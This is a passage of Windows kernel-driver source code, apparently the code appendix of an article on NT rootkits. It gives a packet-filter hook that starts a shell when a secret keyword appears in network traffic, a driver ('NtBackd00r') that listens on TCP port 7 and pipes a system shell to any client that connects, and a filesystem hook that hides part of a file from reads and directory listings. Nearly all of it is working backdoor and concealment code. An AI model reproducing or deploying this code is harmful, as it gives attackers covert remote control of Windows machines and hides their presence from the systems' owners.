globalresult=SetupFiltering(NULL);
ObDereferenceObject(pFileObject);
return globalresult;
}
else return STATUS_SUCCESS;
}
NTSTATUS InitFiltering()
{
UNICODE_STRING FiltDrvName;
UNICODE_STRING DSN={0};
//_asm int 3;
RtlInitUnicodeString(&FiltDrvName,L"\\Device\\IPFILTERDRIVER");
pDeviceObject=NULL;
retry:
IoGetDeviceObjectPointer(&FiltDrvName,SYNCHRONIZE|GENERIC_READ|GENERIC_WRITE,&pFileObject,&pDeviceObject);
if ((!pDeviceObject)&&(!DSN.Length))
{
RtlInitUnicodeString(&DSN,L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\IpFilterDriver");
ZwLoadDriver(&DSN);
goto retry;
}
if (pDeviceObject)
{
KeInitializeEvent(&Event,NotificationEvent,FALSE);
return SetupFiltering(&PacketFilter);
} else return STATUS_OBJECT_NAME_NOT_FOUND;
}
NTSTATUS SetupFiltering(void *PacketFilterProc)
{
IO_STATUS_BLOCK iostb;
LARGE_INTEGER Timeout;
PIRP pirp = NULL;
//_asm int 3;
pirp = IoBuildDeviceIoControlRequest(IOCTL_PF_SET_EXTENSION_POINTER,pDeviceObject,(PPF_SET_EXTENSION_HOOK_INFO)&PacketFilterProc,sizeof(PF_SET_EXTENSION_HOOK_INFO),NULL,0,FALSE,&Event,&iostb);
if (!pirp)
{
return STATUS_UNSUCCESSFUL;
}
globalresult=IoCallDriver(pDeviceObject,pirp);
if (globalresult == STATUS_PENDING)
{
Timeout.QuadPart=100000000;
if (KeWaitForSingleObject(&Event,Executive,KernelMode,FALSE,&Timeout)!=STATUS_SUCCESS)
return STATUS_UNSUCCESSFUL;
globalresult = pirp->IoStatus.Status;
}
return globalresult;
}
----[ 8.8 - MPFD_main.cpp
extern "C" {
#include <ntddk.h>
#include <ntddndis.h>
#include <pfhook.h>
#include "Sniffer.h"
#include "Filtering.h"
}
extern VOID ShellStarter(VOID* StartShellEvent);
HANDLE hShellStarterTread=NULL;
BOOLEAN Terminating=FALSE;
KEVENT StartShellEvent;
unsigned char * __cdecl memfind(
const unsigned char * str1,
unsigned int n1,
const unsigned char * str2,
unsigned int n2
)
{
if (n2>n1) return NULL;
unsigned char *cp = (unsigned char *) str1;
unsigned char *s1, *s2;
unsigned int x;
for (unsigned int i=0;i<=n1-n2;i++)
{
s1 = cp;
s2 = (unsigned char *) str2;
x=n2;
while (x && !(*s1-*s2) )
s1++, s2++, x--;
if (!x) return(cp);
cp++;
}
return(NULL);
}
unsigned char keyword[]="\x92\x98\xC7\x68\x9F\xF9\x42\xA9\xB2\xD8\x38\x5C\x8C\x31\xE1\xD6";
PF_FORWARD_ACTION PacketFilter(
IN IPHeader *PacketHeader,
IN unsigned char *Packet,
IN unsigned int PacketLength,
IN unsigned int RecvInterfaceIndex,
IN unsigned int SendInterfaceIndex,
IN IPAddr RecvLinkNextHop,
IN IPAddr SendLinkNextHop
)
{
if (memfind(Packet,PacketLength,keyword,sizeof(keyword)))
{
HANDLE ThreadHandle;
KeSetEvent(&StartShellEvent, 0, FALSE);
}
return PF_PASS;
}
NTSTATUS
OnStubDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest (Irp,
IO_NO_INCREMENT
);
return Irp->IoStatus.Status;
}
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
#if (DBG)
DbgPrint("MPFD: OnUnload called\n");
#endif
PVOID ThreadObj;
SutdownFiltering();
if (hShellStarterTread)
{
Terminating=TRUE;
ObReferenceObjectByHandle(hShellStarterTread, THREAD_ALL_ACCESS, NULL, KernelMode, &ThreadObj, NULL);
KeSetEvent(&StartShellEvent, 0, TRUE);
KeWaitForSingleObject(ThreadObj, Executive, KernelMode, FALSE, NULL);
}
}
#pragma code_seg("INIT")
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
NTSTATUS status;
#if (DBG)
DbgPrint("MPFD:In DriverEntry\n");
#endif
UNREFERENCED_PARAMETER(RegistryPath);
for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
DriverObject->MajorFunction[i] = OnStubDispatch;
}
DriverObject->DriverUnload = OnUnload;
status=InitFiltering();
if (status!=STATUS_SUCCESS) return status;
KeInitializeEvent(&StartShellEvent,SynchronizationEvent,FALSE);
OBJECT_ATTRIBUTES attr={sizeof(OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE};
status=PsCreateSystemThread(&hShellStarterTread, THREAD_ALL_ACCESS, &attr, 0, NULL, ShellStarter, &StartShellEvent);
return status;
}
----[ 8.9 - NtBackd00r.cpp
// NtBackd00r.cpp
//
// Generated by Driver::Wizard version 2.0
#define VDW_MAIN
#include <vdw.h>
#include <stdio.h>
#include <ntifs.h>
#include "function.h"
#include "NtBackd00r.h"
#pragma hdrstop("NtBackd00r.pch")
#if (DBG)
#define dprintf DbgPrint
#else
#define dprintf
#endif
extern "C" {
NTSYSAPI
NTSTATUS
NTAPI
ZwWaitForMultipleObjects(
IN ULONG HandleCount,
IN PHANDLE Handles,
IN WAIT_TYPE WaitType,
IN BOOLEAN Alertable,
IN PLARGE_INTEGER Timeout OPTIONAL
);
NTSYSAPI
NTSTATUS
NTAPI
ZwCreateEvent(
OUT PHANDLE EventHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN EVENT_TYPE EventType,
IN BOOLEAN InitialState
);
NTSYSAPI
NTSTATUS
NTAPI
ZwSetEvent(
IN HANDLE EventHandle,
OUT PULONG PreviousState OPTIONAL
);
}
extern "C" void LoadFuncs();
extern "C" HANDLE StartShell(PHANDLE phPipe);
extern VOID ShellStarter(VOID* StartShellEvent);
/////////////////////////////////////////////////////////////////////
// Begin INIT section
#pragma code_seg("INIT")
DECLARE_DRIVER_CLASS(NtBackd00r, NULL)
/////////////////////////////////////////////////////////////////////
// Driver Entry
//
NTSTATUS NtBackd00r::DriverEntry(PUNICODE_STRING RegistryPath)
{
UNREFERENCED_PARAMETER(RegistryPath);
//Dynamic import of functions exported from ntdll.dll
LoadFuncs();
// Initialize the TDIClient framework first
if (!KTDInterface::Initialize())
{
// something wrong with TDI
return STATUS_NOT_FOUND;
}
// Create TCP server, port 7
CIPTRANSPORT_ADDRESS TCP_port(IPPORT_ECHO);
m_pListener = new(NonPagedPool) KStreamServer<Session> (TCP_port);
// If succeeded - enable network events
if (m_pListener && m_pListener->IsCreated()) {
m_pListener->SetEvents(TRUE);
dprintf("NtBackd00rDevice: Listener started\n");
}
else {
dprintf("NtBackd00rDevice: Failed to start (port conflict?)\n");
return STATUS_INSUFFICIENT_RESOURCES;
}
//Create dummy device for IoQueueWorkItem
m_pDummyDevice = new(NonPagedPool) DummyDevice(NULL, FILE_DEVICE_UNKNOWN, NULL);
if (m_pDummyDevice == NULL)
{
return STATUS_INSUFFICIENT_RESOURCES;
}
return STATUS_SUCCESS;
}
#pragma code_seg()
#pragma warning( disable : 4706 )
//This message will be sen to client in case of failure when starting shell
char errtxt_shell[]="cant start shell";
//////////////////////////////////////////////////////////////////////////////
// Unload is responsible for releasing any system objects that
// the driver has allocated.
//
VOID NtBackd00r::Unload(VOID)
{
if (m_pListener)
{
// Disable network event notifications
m_pListener->SetEvents(FALSE);
// Iterate through the list of active sessions
// and forcefully disconnect all active sessions
Session* p;
TDI_STATUS Status;
while ( p = m_ActiveSessionList.RemoveHead() )
{
// Thread handle must be extracted before dele p
HANDLE hWorkerThread = p->hDataPumpThread;
// By default, this method will perform an
// abortive disconnect (RST)
Status = p->disconnect();
ASSERT(TDI_PENDING == Status || TDI_SUCCESS == Status);
delete p;
// It's required to wait for termination of worker threads,
// or else unloading driver will cause BSOD
if (hWorkerThread) ZwWaitForSingleObject(hWorkerThread, FALSE, NULL);
}
// Wait for all outstanding requests to complete
// By issuing a disconnect for all sessions, any
// pending requests should be completed by the transport
m_pListener->Wait();
// destroy the socket
delete m_pListener;
m_pListener = NULL;
dprintf("NtBackd00rDevice: Listener stopped\n");
}
delete m_pDummyDevice;
// Call base class destructor to delete all devices.
KDriver::Unload();
}
// Frees buffers, given to ZwWriteFile for asynchronous write
VOID NTAPI ApcCallbackWriteComplete(
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved
)
{
UNREFERENCED_PARAMETER(IoStatusBlock);
UNREFERENCED_PARAMETER(Reserved);
//
delete (uchar *)ApcContext;
}
#define SENDS_QUEUED_THRESHOLD 3
// Thread, that transfers data between named pipe and socket
VOID DataPumpThread(IN PVOID thiz1)
{
IO_STATUS_BLOCK send_iosb, rcv_iosb;
uchar *send_buf, *rcv_buf;
ULONG rd;
const bufsize=0x1000;
NTSTATUS status;
LARGE_INTEGER ResendInterval;
//loacl copy of Pipes needed for correct thread termination
//after deleting Session
s_Pipes *Pipes;
Session* thiz=(Session*)thiz1;
Pipes=thiz->m_Pipes;
ResendInterval.QuadPart = (__int64)1E6; //0.1c
//Create FIFO
//Source of BSOD at high IRQL
thiz->pWBytePipe = new(NonPagedPool) KLockableFifo<UCHAR>(0x100000, NonPagedPool);
//Lock socket to avoid sudden deletion of it
thiz->Lock();
//send_buf alocated here, deleted in OnSendComplete
send_buf = new(NonPagedPool) uchar[bufsize];
//Start asynchronous read
status=ZwReadFile(Pipes->hPipe, Pipes->hPipeEvents[1], NULL, NULL, &send_iosb, send_buf, bufsize, NULL, NULL);
if (status==STATUS_SUCCESS)
{
//Send read data to client
status=thiz->send(send_buf, send_iosb.Information, send_buf);
if ((status!=STATUS_PENDING)&&(status!=STATUS_SUCCESS))
dprintf("send error %08x\n");
//to avoid recurring send of same data
send_iosb.Status = -1;
}
while (1) switch (ZwWaitForMultipleObjects(2, &Pipes->hPipeEvents[0], WaitAny, TRUE, NULL))
{
//STATUS_WAIT_1 - read operation completed
case STATUS_WAIT_1:
//
if (Pipes->Terminating) goto fin;
if (!Pipes->hPipe) break;
sending:
{
if (!send_iosb.Status)
{
resend:
//Send read data to client
status=thiz->send(send_buf, send_iosb.Information, send_buf);
//If there wan an error, then it tried to push too much data in socket
if ((status!=STATUS_SUCCESS)&&(status!=STATUS_PENDING))
{
//Wait for free space in buffer...
KeDelayExecutionThread(KernelMode, TRUE, &ResendInterval);
//...and retry
goto resend;
}
}
//send_buf alocated here, deleted in OnSendComplete
send_buf = new(NonPagedPool) uchar[bufsize];
//Start asynchronous read
status=ZwReadFile(Pipes->hPipe, Pipes->hPipeEvents[1], NULL, NULL, &send_iosb, send_buf, bufsize, NULL, NULL);
//If there was a data in pipe buffer, it read instantly.
if (status==STATUS_SUCCESS)
//send it immediately
goto sending;
else {
if (status!=STATUS_PENDING)
{
delete send_buf;
//STATUS_PIPE_LISTENING - it's OK, process not connected to pipe yet
if (status!=STATUS_PIPE_LISTENING)
{
//otherwise it was an error, disconnect client and terminate thread
if (!Pipes->Terminating) thiz->disconnect();
goto fin;
}
}
}
};
break;
//STATUS_WAIT_0 - write operation completed
case STATUS_WAIT_0:
if (Pipes->Terminating) goto fin;
if (!Pipes->hPipe) break;
//FIFO must be locked during all operation with it
//to avoid conflicts
thiz->pWBytePipe->Lock();
//At first look what crowd into FIFO,...
rd = thiz->pWBytePipe->NumberOfItemsAvailableForRead();
if (rd)
{
//... then allocate appropriate amount of memory ...
rcv_buf = new(NonPagedPool) uchar[rd];
//... and read all at once
rd = thiz->pWBytePipe->Read(rcv_buf, rd);
}
thiz->pWBytePipe->Unlock();
if (rd)
{
status = ZwWriteFile(Pipes->hPipe, NULL, ApcCallbackWriteComplete, rcv_buf, &rcv_iosb, rcv_buf, rd, NULL, NULL);
if ((status!=STATUS_SUCCESS)&&(status!=STATUS_PIPE_LISTENING)&&(status!=STATUS_PENDING))
{
//if there was an error, disconnect client and terminate thread
if (!Pipes->Terminating) thiz->disconnect();
goto fin;
}
}
break;
case STATUS_ALERTED:
break;
default: goto fin;
}
fin:
//If termination not initiated from outside, unlock socket
if (!Pipes->Terminating) thiz->Unlock();
//If pipe exists, then all the rest exists too -
//destroy it all
if (Pipes->hPipe)
{
ZwClose(Pipes->hPipe);
for (int i=0;i<=1;i++)
ZwClose(Pipes->hPipeEvents[i]);
CLIENT_ID clid = {Pipes->ChildPID, 0};
HANDLE hProcess;
OBJECT_ATTRIBUTES attr={sizeof(OBJECT_ATTRIBUTES), 0, NULL, 0};
#define PROCESS_TERMINATE (0x0001)
status = ZwOpenProcess(&hProcess, PROCESS_TERMINATE, &attr, &clid);
if (!status)
{
ZwTerminateProcess(hProcess, 0);
ZwClose(hProcess);
}
}
delete Pipes;
PsTerminateSystemThread(0);
}
#define DISABLE_INTS __asm pushfd; cli
#define RESTORE_INTS __asm popfd;
VOID ShellStarter(IN PDEVICE_OBJECT DeviceObject, IN PVOID desc1)
{
OBJECT_ATTRIBUTES attr;
HANDLE loc_hPipe, loc_hPipeEvents[2], loc_ChildPID;
UNREFERENCED_PARAMETER(DeviceObject);
#define desc ((s_WorkItemDesc*)desc1)
//By course of business will check is there "cancel" command
if (desc->WorkItemCanceled) goto cancel2;
//Start shell
loc_ChildPID = StartShell(&loc_hPipe);
if (loc_ChildPID)
{
InitializeObjectAttributes(&attr, NULL, 0, NULL, NULL);
//Create 2 events to notify thread about data receipt
//from socket or pipe
for (int i=0;i<=1;i++)
ZwCreateEvent(&loc_hPipeEvents[i], EVENT_ALL_ACCESS, &attr, SynchronizationEvent, FALSE);
//Disable interrupts and write all handles to structure that is class member
DISABLE_INTS
if (!desc->WorkItemCanceled)
{
desc->thiz->m_Pipes->hPipe = loc_hPipe;
desc->thiz->m_Pipes->hPipeEvents[0] = loc_hPipeEvents[0];
desc->thiz->m_Pipes->hPipeEvents[1] = loc_hPipeEvents[1];
desc->thiz->m_Pipes->ChildPID = loc_ChildPID;
}
RESTORE_INTS
if (desc->WorkItemCanceled) goto cancel;
//Create thread, that transfers data between named pipe and socket
PsCreateSystemThread(&desc->thiz->hDataPumpThread, THREAD_ALL_ACCESS, NULL, 0, NULL, DataPumpThread, desc->thiz);
} else {
cancel:
//In case of error or cancel close pipe, send error message to client,
//and disconnect it
ZwClose(loc_hPipe);
char* errmess = new(NonPagedPool) char[sizeof(errtxt_shell)-1];
RtlCopyMemory(errmess, errtxt_shell, sizeof(errtxt_shell)-1);
desc->thiz->send(errmess, sizeof(errtxt_shell)-1);
desc->thiz->disconnect();
}
cancel2:
//Cleanup
IoFreeWorkItem(desc->WorkItem);
DISABLE_INTS
desc->WorkItem = NULL;
if (!desc->WorkItemCanceled) desc->thiz->m_WorkItemDesc = NULL;
RESTORE_INTS
ExFreePool(desc1);
#undef desc
}
/////////////////////////////////////////////////////////////////////////
// Session -- Event handlers.
BOOLEAN Session::OnConnect(uint AddressLength, PTRANSPORT_ADDRESS pTA,
uint OptionsLength, PVOID Options)
{
// Connecting: print the IP address of the requestor and grant the connection
#if(DBG)
char szIPaddr[20];
inet_ntoa(PTDI_ADDRESS_IP(pTA->Address[0].Address)->in_addr, szIPaddr, sizeof(szIPaddr));
dprintf("NtBackd00rDevice: Connecting client, IP addr = %s, session %8X\n", szIPaddr, this);
#endif
// obtain a pointer to the KDriver derived class
NtBackd00r* p = reinterpret_cast<NtBackd00r*>(KDriver::DriverInstance());
ASSERT(p);
//Initialization of miscellaneous stuff
pWBytePipe = NULL;
hDataPumpThread = NULL;
m_Pipes = new(NonPagedPool) s_Pipes;
RtlZeroMemory(m_Pipes, sizeof s_Pipes);
//Initialize and start WorkItem
m_WorkItemDesc = ExAllocatePool(NonPagedPool, sizeof s_WorkItemDesc);
#define pWorkItemDesc ((s_WorkItemDesc*)m_WorkItemDesc)
pWorkItemDesc->WorkItemCanceled=false;
pWorkItemDesc->thiz=this;
pWorkItemDesc->WorkItem=IoAllocateWorkItem(*p->m_pDummyDevice);
if (!pWorkItemDesc->WorkItem) return FALSE;
//To make this work on NT4 replace IoQueueWorkItem with ExQueueWorkItem
IoQueueWorkItem(pWorkItemDesc->WorkItem, &ShellStarter, CriticalWorkQueue, pWorkItemDesc);
#undef pWorkItemDesc
// Add this object to the session list maintained by the driver
p->m_ActiveSessionList.InsertTail(this);
UNREFERENCED_PARAMETERS4(AddressLength, pTA, OptionsLength, Options);
return TRUE;
}
void Session::OnDisconnect(uint OptionsLength, PVOID Options, BOOLEAN bAbort)
{
dprintf("NtBackd00rDevice: Disconnecting client, session %8X\n", this);
UNREFERENCED_PARAMETERS3(OptionsLength, Options,bAbort);
}
Session::~Session()
{
// obtain a pointer to the KDriver derived class
NtBackd00r* p = reinterpret_cast<NtBackd00r*>(KDriver::DriverInstance());
ASSERT(p);
// Remove this object from the session list maintained by the driver
p->m_ActiveSessionList.Remove(this);
//Set flas, that make thread to terminate
m_Pipes->Terminating = true;
//To not wait for yesterday in OnUnload
hDataPumpThread = NULL;
//Set event "let's finish"
if ( m_Pipes && (m_Pipes->hPipeEvents[0])) ZwSetEvent(m_Pipes->hPipeEvents[0], NULL);
//If WorkItem works, notify it about termination
if (m_WorkItemDesc) ((s_WorkItemDesc*)m_WorkItemDesc)->WorkItemCanceled=true;
delete pWBytePipe;
}
uint Session::OnReceive(uint Indicated, uchar *Data, uint Available,
uchar **RcvBuffer, uint* RcvBufferLen)
{
// Received some data from the client peer.
//If all required pointers and handles are valid
if (m_Pipes && pWBytePipe && m_Pipes->hPipe)
{
//Write that data to FIFO
pWBytePipe->LockedWrite(Data, Indicated);
//And notify DataPumpThread
ZwSetEvent(m_Pipes->hPipeEvents[0], NULL);
}
// Now, if the transport has more data available than indicated,
// allocate another buffer to read the rest. When the transport
// done with it - asynchronously - our OnReceiveComplete() handler
// is called. Note that failure to submit a buffer supressed further
// recieve indications - until and if a recv() is issued.
if (Indicated < Available) {
*RcvBuffer = new(NonPagedPool) uchar [*RcvBufferLen = Available-Indicated];
}
return Indicated;
}
void Session::OnSendComplete(PVOID buf, TDI_STATUS status, uint bytecnt)
{
// Our send request has completed. Free the buffer
if (status != TDI_SUCCESS)
dprintf("NtBackd00rDevice: Failed sending data, err %X\n", status);
//free the buffer
delete ((uchar*)buf);
UNREFERENCED_PARAMETER(bytecnt);
}
void Session::OnReceiveComplete(TDI_STATUS status, uint Indicated, uchar *Data)
{
// Buffer for the partially indicated data allocated and submitted during
// OnReceive() processing is filled in by the transport.
if (status == TDI_SUCCESS) {
if (m_Pipes && pWBytePipe && m_Pipes->hPipe)
{
//Write that data to FIFO
pWBytePipe->LockedWrite(Data, Indicated);
//And notify DataPumpThread
ZwSetEvent(m_Pipes->hPipeEvents[0], NULL);
}
} else
dprintf("NtBackd00rDevice: Failed completing receive, err %X\n", status);
if (status != TDI_PENDING)
delete Data;
}
// end of file
---[ 8.10 - Intercept.cpp
//This module hooks:
// IRP_MJ_READ, IRP_MJ_WRITE, IRP_MJ_QUERY_INFORMATION,
// IRP_MJ_SET_INFORMATION, IRP_MJ_DIRECTORY_CONTROL,
// FASTIO_QUERY_STANDARD_INFO FASTIO_QUERY_BASIC_INFO FASTIO_READ(WRITE)
//to hide first N bytes of given file
extern "C" {
#include <ntddk.h>
}
#pragma hdrstop("InterceptIO.pch")
/////////////////////////////////////////////////////////////////////
// Undocumented structures missing in ntddk.h
typedef struct _FILE_INTERNAL_INFORMATION { // Information Class 6
LARGE_INTEGER FileId;
} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION;
typedef struct _FILE_EA_INFORMATION { // Information Class 7
ULONG EaInformationLength;
} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION;
typedef struct _FILE_ACCESS_INFORMATION { // Information Class 8
ACCESS_MASK GrantedAccess;
} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION;
typedef struct _FILE_MODE_INFORMATION { // Information Class 16
ULONG Mode;
} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION;
typedef struct _FILE_ALLOCATION_INFORMATION { // Information Class 19
LARGE_INTEGER AllocationSize;
} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION;
typedef struct _FILE_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;
typedef struct _FILE_ALL_INFORMATION { // Information Class 18
FILE_BASIC_INFORMATION BasicInformation;
FILE_STANDARD_INFORMATION StandardInformation;
FILE_INTERNAL_INFORMATION InternalInformation;
FILE_EA_INFORMATION EaInformation;
FILE_ACCESS_INFORMATION AccessInformation;
FILE_POSITION_INFORMATION PositionInformation;
FILE_MODE_INFORMATION ModeInformation;
FILE_ALIGNMENT_INFORMATION AlignmentInformation;
FILE_NAME_INFORMATION NameInformation;
} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION;
typedef struct tag_QUERY_DIRECTORY
{
ULONG Length;
PUNICODE_STRING FileName;
FILE_INFORMATION_CLASS FileInformationClass;
ULONG FileIndex;
} QUERY_DIRECTORY, *PQUERY_DIRECTORY;
#pragma pack(push, 4)
typedef struct tag_FQD_SmallCommonBlock
{
ULONG NextEntryOffset;
ULONG FileIndex;
} FQD_SmallCommonBlock, *PFQD_SmallCommonBlock;
typedef struct tag_FQD_FILE_ATTR
{
TIME CreationTime;
TIME LastAccessTime;
TIME LastWriteTime;
TIME ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
} FQD_FILE_ATTR, *PFQD_FILE_ATTR;
typedef struct tag_FQD_CommonBlock
{
FQD_SmallCommonBlock SmallCommonBlock;
FQD_FILE_ATTR FileAttr;
ULONG FileNameLength;
} FQD_CommonBlock, *PFQD_CommonBlock;
typedef struct _KFILE_DIRECTORY_INFORMATION
{
FQD_CommonBlock CommonBlock;
WCHAR FileName[ANYSIZE_ARRAY];
} KFILE_DIRECTORY_INFORMATION, *PKFILE_DIRECTORY_INFORMATION;
typedef struct _KFILE_FULL_DIR_INFORMATION
{
FQD_CommonBlock CommonBlock;
ULONG EaSize;
WCHAR FileName[ANYSIZE_ARRAY];
} KFILE_FULL_DIR_INFORMATION, *PKFILE_FULL_DIR_INFORMATION;
typedef struct _KFILE_BOTH_DIR_INFORMATION
{
FQD_CommonBlock CommonBlock;
ULONG EaSize;
USHORT ShortFileNameLength;
WCHAR ShortFileName[12];
WCHAR FileName[ANYSIZE_ARRAY];
} KFILE_BOTH_DIR_INFORMATION, *PKFILE_BOTH_DIR_INFORMATION;
#pragma pack(pop)
/////////////////////////////////////////////////////////////////////
// Global variables
PDRIVER_OBJECT pDriverObject;
PDRIVER_DISPATCH OldReadDisp, OldWriteDisp, OldQueryDisp, OldSetInfoDisp, OldDirCtlDisp;
PFAST_IO_READ OldFastIoReadDisp;
PFAST_IO_WRITE OldFastIoWriteDisp;
PFAST_IO_QUERY_STANDARD_INFO OldFastIoQueryStandartInfoDisp;
//Size of our file's Invisible Part (in bytes)
ULONG InvisiblePartSize = 10;
//File, part of which we want to hide
wchar_t OurFileName[] = L"testing.fil";
//Size of OurFileName in bytes, excluding null terminator
ULONG OurFileNameLen = sizeof(OurFileName) - sizeof(wchar_t);
/////////////////////////////////////////////////////////////////////
// Functions
//Function returns true if FN matches OurFileName
bool ThisIsOurFile(PUNICODE_STRING FN)
{
return ((FN->Buffer) &&
(FN->Length >= OurFileNameLen) &&
_wcsnicmp((wchar_t*)((char*)FN->Buffer + FN->Length - OurFileNameLen),
OurFileName, OurFileNameLen/2)==0);
}
//Structure used to track IRPs which completion must be handled
struct s_ComplRtnTrack
{
PIO_COMPLETION_ROUTINE CompletionRoutine;
PVOID Context;
//When CompletionRoutine is called, flags corresponds to InvokeOn*
UCHAR Control;
PIO_STACK_LOCATION CISL;
FILE_INFORMATION_CLASS FileInformationClass;
PVOID Buffer;
};
//Function set new CompletionRoutine, InvokeOnSuccess flag,
//and copies original fields to Context
void HookIrpCompletion(PIO_STACK_LOCATION CISL,
PIO_COMPLETION_ROUTINE CompletionRoutine,
PVOID Buffer,
FILE_INFORMATION_CLASS FileInformationClass)
{
s_ComplRtnTrack* NewContext =
(s_ComplRtnTrack*)ExAllocatePool(NonPagedPool, sizeof(s_ComplRtnTrack));
NewContext->CompletionRoutine = CISL->CompletionRoutine;
NewContext->Context = CISL->Context;
NewContext->Control = CISL->Control;
NewContext->CISL = CISL;
//Since CISL.Parameters unavailabile in IrpCompletion handler,
//let's save all necessary data in Context structure
NewContext->FileInformationClass = FileInformationClass;
NewContext->Buffer = Buffer;
CISL->CompletionRoutine = CompletionRoutine;
CISL->Context = NewContext;
CISL->Control |= SL_INVOKE_ON_SUCCESS;
}
//Function handles IRP completion
NTSTATUS NewComplRtn (
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp,
s_ComplRtnTrack* CXT)
{
//Handle different types of IRP
switch (CXT->CISL->MajorFunction)
{
case IRP_MJ_QUERY_INFORMATION:
_asm int 3;
//ThisIsOurFile is already tested
switch (CXT->FileInformationClass)
{
//In all cases modify CurrentByteOffset and/or size (EndOfFile)
//to hide first InvisiblePartSize bytes
case FilePositionInformation:
((PFILE_POSITION_INFORMATION)CXT->Buffer)->CurrentByteOffset.QuadPart -= InvisiblePartSize;
break;
case FileEndOfFileInformation:
((PFILE_END_OF_FILE_INFORMATION)CXT->Buffer)->EndOfFile.QuadPart -= InvisiblePartSize;
break;
case FileStandardInformation:
((PFILE_STANDARD_INFORMATION)CXT->Buffer)->EndOfFile.QuadPart -= InvisiblePartSize;
break;
case FileAllocationInformation:
((PFILE_ALLOCATION_INFORMATION)CXT->Buffer)->AllocationSize.QuadPart -= InvisiblePartSize;
break;
case FileAllInformation:
((PFILE_ALL_INFORMATION)CXT->Buffer)->PositionInformation.CurrentByteOffset.QuadPart -= InvisiblePartSize;
((PFILE_ALL_INFORMATION)CXT->Buffer)->StandardInformation.EndOfFile.QuadPart -= InvisiblePartSize;
break;
}
case IRP_MJ_DIRECTORY_CONTROL:
//Get a pointer to first directory entries
PFQD_SmallCommonBlock pQueryDirWin32 = (PFQD_SmallCommonBlock)CXT->Buffer;
//Cycle through directory entries
while (1)
{
PWCHAR pFileName = 0;
ULONG dwFileNameLength = 0;
switch (CXT->FileInformationClass)
{
//In all cases get pointer to FileName and FileNameLength
case FileDirectoryInformation:
dwFileNameLength = ((PKFILE_DIRECTORY_INFORMATION)pQueryDirWin32)->CommonBlock.FileNameLength;
pFileName = ((PKFILE_DIRECTORY_INFORMATION)pQueryDirWin32)->FileName;
break;
case FileFullDirectoryInformation:
dwFileNameLength = ((PKFILE_FULL_DIR_INFORMATION)pQueryDirWin32)->CommonBlock.FileNameLength;
pFileName = ((PKFILE_FULL_DIR_INFORMATION)pQueryDirWin32)->FileName;
break;
case FileBothDirectoryInformation:
dwFileNameLength = ((PKFILE_BOTH_DIR_INFORMATION)pQueryDirWin32)->CommonBlock.FileNameLength;
pFileName = ((PKFILE_BOTH_DIR_INFORMATION)pQueryDirWin32)->FileName;
break;
}
//_asm int 3;
//Is this file that we want?
if ((dwFileNameLength == OurFileNameLen) &&
_wcsnicmp(pFileName, OurFileName, OurFileNameLen/2)==0)
{
//_asm int 3;
//Hide first InvisiblePartSize bytes
((PFQD_CommonBlock)pQueryDirWin32)->FileAttr.EndOfFile.QuadPart -= InvisiblePartSize;
break;
}
//Quit if no more directory entries
if (!pQueryDirWin32->NextEntryOffset) break;
//Continue with next directory entry
pQueryDirWin32 = (PFQD_SmallCommonBlock)((CHAR*)pQueryDirWin32 + pQueryDirWin32->NextEntryOffset);
}
}
//If appropriate Control flag was set,...
if (
((CXT->Control == SL_INVOKE_ON_SUCCESS)&&(NT_SUCCESS(Irp->IoStatus.Status)))
|| ((CXT->Control == SL_INVOKE_ON_ERROR)&&(NT_ERROR(Irp->IoStatus.Status)))
|| ((CXT->Control == SL_INVOKE_ON_CANCEL)&&(Irp->IoStatus.Status == STATUS_CANCELLED)) )
//...call original CompletionRoutine
return CXT->CompletionRoutine(
DeviceObject,
Irp,
CXT->Context);
else return STATUS_SUCCESS;
}
//Filename IRP handler deal with
#define FName &(CISL->FileObject->FileName)
//Function handles IRP_MJ_READ and IRP_MJ_WRITE
NTSTATUS NewReadWriteDisp (
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
//_asm int 3;
PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp);
if (CISL->FileObject &&
//Don't mess with swaping
!(Irp->Flags & IRP_PAGING_IO) && !(Irp->Flags & IRP_SYNCHRONOUS_PAGING_IO))
{
if (ThisIsOurFile(FName))
{
//_asm int 3;
CISL->Parameters.Write.ByteOffset.QuadPart += InvisiblePartSize;
//Write and Read has the same structure, thus handled together
}
}
//Call corresponding original handler
switch (CISL->MajorFunction)
{
case IRP_MJ_READ:
return OldReadDisp(DeviceObject, Irp);
case IRP_MJ_WRITE:
return OldWriteDisp(DeviceObject, Irp);
}
}
//Function handles IRP_MJ_QUERY_INFORMATION
NTSTATUS NewQueryDisp (
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
//_asm int 3;
PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp);
if ((CISL->MajorFunction == IRP_MJ_QUERY_INFORMATION) &&
ThisIsOurFile(FName))
{
//_asm int 3;
switch (CISL->Parameters.QueryFile.FileInformationClass)
{
//Information types that contains file size or current offset
case FilePositionInformation:
case FileEndOfFileInformation:
case FileStandardInformation:
